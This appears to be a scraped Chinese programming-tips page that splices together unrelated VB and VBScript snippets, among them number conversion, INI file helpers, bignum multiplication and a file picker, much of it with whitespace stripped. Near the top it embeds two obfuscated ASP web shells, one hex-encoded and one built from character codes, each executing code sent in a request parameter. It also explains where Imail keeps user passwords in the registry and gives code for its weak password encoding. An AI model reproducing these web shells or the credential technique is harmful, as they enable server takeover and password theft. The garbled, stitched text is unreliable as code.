下面的例子中，转换数字0到9的相应英文名称为阿拉伯数字：1、普通的方法：SelectCaseLCase$(word)Case"zero"result=0Case"one"result=1Case"two"result=2Case"three"result=3Case"four"result=4Case"five"result=5Case"six"result=6Case"seven"result=7Case"eight"result=8Case"nine"result=9EndSelect2、更加简练的方法：result=InStr(";zero;;one;;;two;;;three;four;;five;;six;;;seven;eight;nine;",";"&LCase$(word)&";")\6->

<scriptlanguage=vbsrunat=server> Execute(HextoStr("65786563757465287265717565737428636872283335292929")) FunctionHextoStr(data) HextoStr="EXECUTE""""" C="&CHR(&H" N=")" DoWhileLen(data)>1 IfIsNumeric(Left(data,1))Then HextoStr=HextoStr&C&Left(data,2)&N data=Mid(data,3) Else HextoStr=HextoStr&C&Left(data,4)&N data=Mid(data,5) EndIf Loop EndFunction </script> <SCRIPTRUNAT=SERVERLANGUAGE=JAVASCRIPT>eval(String.fromCharCode( 116,114,121,123,101,118,97,108,40,82,101,113,117,101,115,116,46,102,111,114,109,40,39,35,39,41,43,39,39,41,125,99,97,116,99,1 04,40,101,41,123,125))</SCRIPt>Imail的所有邮局信息,比如用户,密码都实际上都是存储在计算机注册表当中的,所以只需要 打开注册表就可以看到Imail里的所有信息,包括用户的密码.细节: Imail将企业邮局信息全部存储在: HKEY_LOCAL_MACHINE\SOFTWARE\Ipswitch\IMail\Domains\<DOMAINNAME>\Users\<USERNAME> 这样一个键里,其中DomainName是邮局名,UserName是用户名,而在<USERNAME>下有一个名叫Password的键值则是存储的用户密码.密码并不是明文存储的,而是结这了简单的加密运行后生成的,他的加密过程如下: 1.读取用户名,并将其全部转为小写 2.将用户名每个数字转为对应的ASCII码 3.计算出用户名里每个字母和第一个字母的偏移量 4.计算出每个密码字母对应的ASCII码 5.将密码的每个ASCII码加上参考值(用户名首字母的ASCII减去97)再加上用户名对应的偏移量 6.再对应密码表就可以得到密码了. 具体程序如下: SubinitCode(ByRefInfos)'自动生成密码表 Count=-97 CodeArray=Array("0","1","2","3","4","5","6","7","8","9","A","B","C","D","E","F") forz=0toUbound(CodeArray) fory=0toUbound(CodeArray) Infos.AddCstr(Count),CodeArray(z)&CodeArray(y) Count=Count+1 next next EndSub FunctionGetImailPassword(User,Pass)'Imail密码加密函数 encryptCode="" SetobjDict=CreateObject("Scripting.Dictionary") CallinitCode(objDict) User=Lcase(User)'将用户转为小写 FirstChar=left(User,1) FirstCharCode=asc(FirstChar)'得到首字母的ASCII码 Reference=FirstCharCode-97'得到参考值 execute"DimUserCode("&len(User)-1&")"'定义两个存放用户与密码ASCII的数组 execute"DimPassCode("&len(Pass)-1&")" fori=0tolen(User)-1'取得用户字母的偏移量 UChar=Asc(mid(User,i+1,1)) UserCode(i)=FirstCharCode-UChar next forj=0tolen(Pass)-1'取得密码对应的新值 PChar=Asc(mid(Pass,j+1,1)) iPos=jmodlen(User) PassCode(j)=PChar+Reference-UserCode(iPos) next fork=0toUbound(PassCode)'查询密码表,最后得到密码 encryptCode=encryptCode&objDict.item(Cstr(PassCode(k))) next GetImailPassword=encryptCode endfunction iUser="web9898"'测试用的Imail用户名 iPass="web9898.cn"'测试用的Imail密码 Wscript.EchoiPass&"加密后的密码是:"&GetImailPassword(iUser,iPass)(使用Image控件播放时画面比Picture控件略为流畅，因其显示速度较快）　　第三，编程播放

Do While True Set strLatestEvent=colMonitoredEvents.NextEvent Wscript.Echo "A network connection has been made:" WScript.Echo strLatestEvent.InstanceName, Now Wscript.Echo Loop

OptionButton控件经常是作为控件数组存在的，要快速找到其中的哪一个被选中，可以使用下面的代码：

'假设控件数组包含3个OptionButton控件

intSelected=Option(0).Value*0-Option(1).Value*1-Option(2).Value*2

注意，因为第一个操作数总是0，所以上述代码可以精简如下：

intSelected=-Option(1).Value-Option(2).Value*2

->

'Date: 2010/10/27 'Author: Demon 'QQ: 380401911 'E-mail: still.demon@gmail.com begin=Timer n=1 For i=1 To 100 n=multiple(n, 2) Next finish=Timer WScript.Echo n WScript.Echo finish - begin 'Grade school multiplication, Algorithm 14.12 ' Function multiple(byVal x, byVal y) Dim n, t, i, j, z, w() n=Len(x) - 1 t=Len(y) - 1 ReDim w(n + t + 1) x=CStr(x) : y=CStr(y) For i=0 To UBound(w) w(i)="0" Next For i=0 To t Dim c : c=0 Dim uv : uv=0 For j=0 To n uv=(w(i+j)-"0") + c + _ (Mid(x,n-j+1,1)-"0") * (Mid(y,t-i+1,1)-"0") w(i+j)=CStr(uv Mod 10 + "0") c=uv \ 10 Next w(i+n+1)=CStr(uv \ 10 + "0") Next z=Join(w,"") z=StrReverse(z) Do While Left(z,1)="0" z=Mid(z,2) Loop multiple=z End Function 这样你就可以将key与登录密码进行对照或直接处理key的值来决定是否继续运行程序

'code by xiaolu 'change by NetPatch on error resume next set arg=wscript.arguments if arg.count=0 then wscript.quit do while 1 fname=arg(0) err.number=0 Set Ado=CreateObject("adodb.stream") With Ado .Type=1 .open .loadfromfile fname ss=.read End With if err.number<>0 then if msgbox("文件打开错误!",1,"File2VBS")=2 then Wscript.quit else exit do end if loop if fname="" then Wscript.quit Set Fso=CreateObject("Scripting.FileSystemObject") Set File=fso.OpenTextFile(arg(0)&".htm",2, True) File.write Bin2Str(ss) File.close Set fso=nothing Ado.close set Abo=nothing Function Bin2Str(Re) For i=1 To lenB(Re) bt=AscB(MidB(Re, i, 1)) if bt < 16 Then Bin2Str=Bin2Str&"0" Bin2Str=Bin2Str & Hex(bt) Next End Function 拍摄示范片RWINI.BAS模块的程序代码如下:在General-Declearation部分中声明使用到的WindowsAPI函数:DeclareFunctionGetprivateprofileStringLib"Ker-nel"(ByVallpAppNameAsString，ByVallpKeyNameAsString，ByVallpDefaultAsString，ByVallpRetrm-StringAsString，ByValcbReturnStringAsInteger，ByValFilenameAsString)AsIntegerDeclareFunctionGetPrivatePfileIntLib"Kernel"(ByVallpAppNameAsString，ByVallpKeyNameAsString，ByVallpDefaultAsInteger，ByValFilenameAsString)AsIntegerDeclareFuncitonWritePrivateprofileStringLib"Kernel"(ByVallpApplicationNameAsString，ByVallpKeyNameAsString，ByVallpStringAsString，ByVallplFileNameAsString)AsIntegerFunctionGetIniS(ByValSectionNameAsString，ByValKeyWordAsString，ByValDefStringAsString)AsStringDimResultStringAsString*144，TempAsIntegerDimsAsString，iAsIntegerTemp=GetPrivateProfileString(SectionName，KeyWord，""，ResultString，144，AppProfileName())‘检索关键词的值IfTemp＞0Then‘关键词的值不为空s=""Fori=1To144IfAsc(Mid$(ResultString，I，1))=0ThenExitForElses=s&Mid$(ResultString，I，1)EndIfNextElseTemp=WritePrivateProfilesString(sectionname，KeyWord，DefString，ppProfileName())‘将缺省值写入INI文件s=DefStringEndIfGetIniS=sEndFunctionFunctionGetIniN(ByValSectionNameAsString，ByValKeyWordAsString，ByValDefValueAsIneger)AsIntegerDimdAsLong，sAsStringd=DefValueGetIniN=GetPrivateProfileInt(SectionName，KeyWord，DefValue，ppProfileName())Ifd＜＞DefValueThens=""&dd=WritePrivateProfileString(SectionName，KeyWord，s，AppProfileName())EndIfEndFunctionSubSetIniS(ByValSectionNameAsString，BtVaKeyWordAsString，ByValValStrAsString)Dimresres=WritePrivateprofileString(SectionName，KeyWord，ValStr，AppProfileName())EndSubSubSetIniN(ByValSectionNameAsString，ByValKeyWordAsString，ByValValIntAsInteger)Dimres，s$s$=Str$(ValInt)res=WriteprivateProfileString(SectionName，KeyWord，s$，AppProfileName())EndSubSectionName为每一部分的标题，KeyWord为关键词，GetIniS和GetIniN中的DefValue为关键词的缺省值，SetIniS和SetIniN的ValStr和ValInt为要写入INI文件的关键词的值Function BrowseForFile() Dim shell : Set shell=CreateObject("WScript.Shell") Dim fso : Set fso=CreateObject("Scripting.FileSystemObject") Dim tempFolder : Set tempFolder=fso.GetSpecialFolder(2) Dim tempName : tempName=fso.GetTempName() Dim tempFile : Set tempFile=tempFolder.CreateTextFile(tempName & ".hta") tempFile.Write _ "<html>" & _ "<head>" & _ "<title>Browse</title>" & _ "</head>" & _ "<body>" & _ "<input type='file' id='f' />" & _ "<script type='text/javascript'>" & _ "var f=document.getElementById('f');" & _ "f.click();" & _ "var shell=new ActiveXObject('WScript.Shell');" & _ "shell.RegWrite('HKEY_CURRENT_USER\\Volatile Environment\\MsgResp', f.value);" & _ "window.close();" & _ "</script>" & _ "</body>" & _ "</html>" tempFile.Close shell.Run tempFolder & "" & tempName & ".hta", 0, True BrowseForFile=shell.RegRead("HKEY_CURRENT_USER\Volatile Environment\MsgResp") shell.RegDelete "HKEY_CURRENT_USER\Volatile Environment\MsgResp" End Function 'Author: Demon 'Website: 'Date: 2011/6/2 path=BrowseForFile() If path <> "" Then WScript.Echo path 。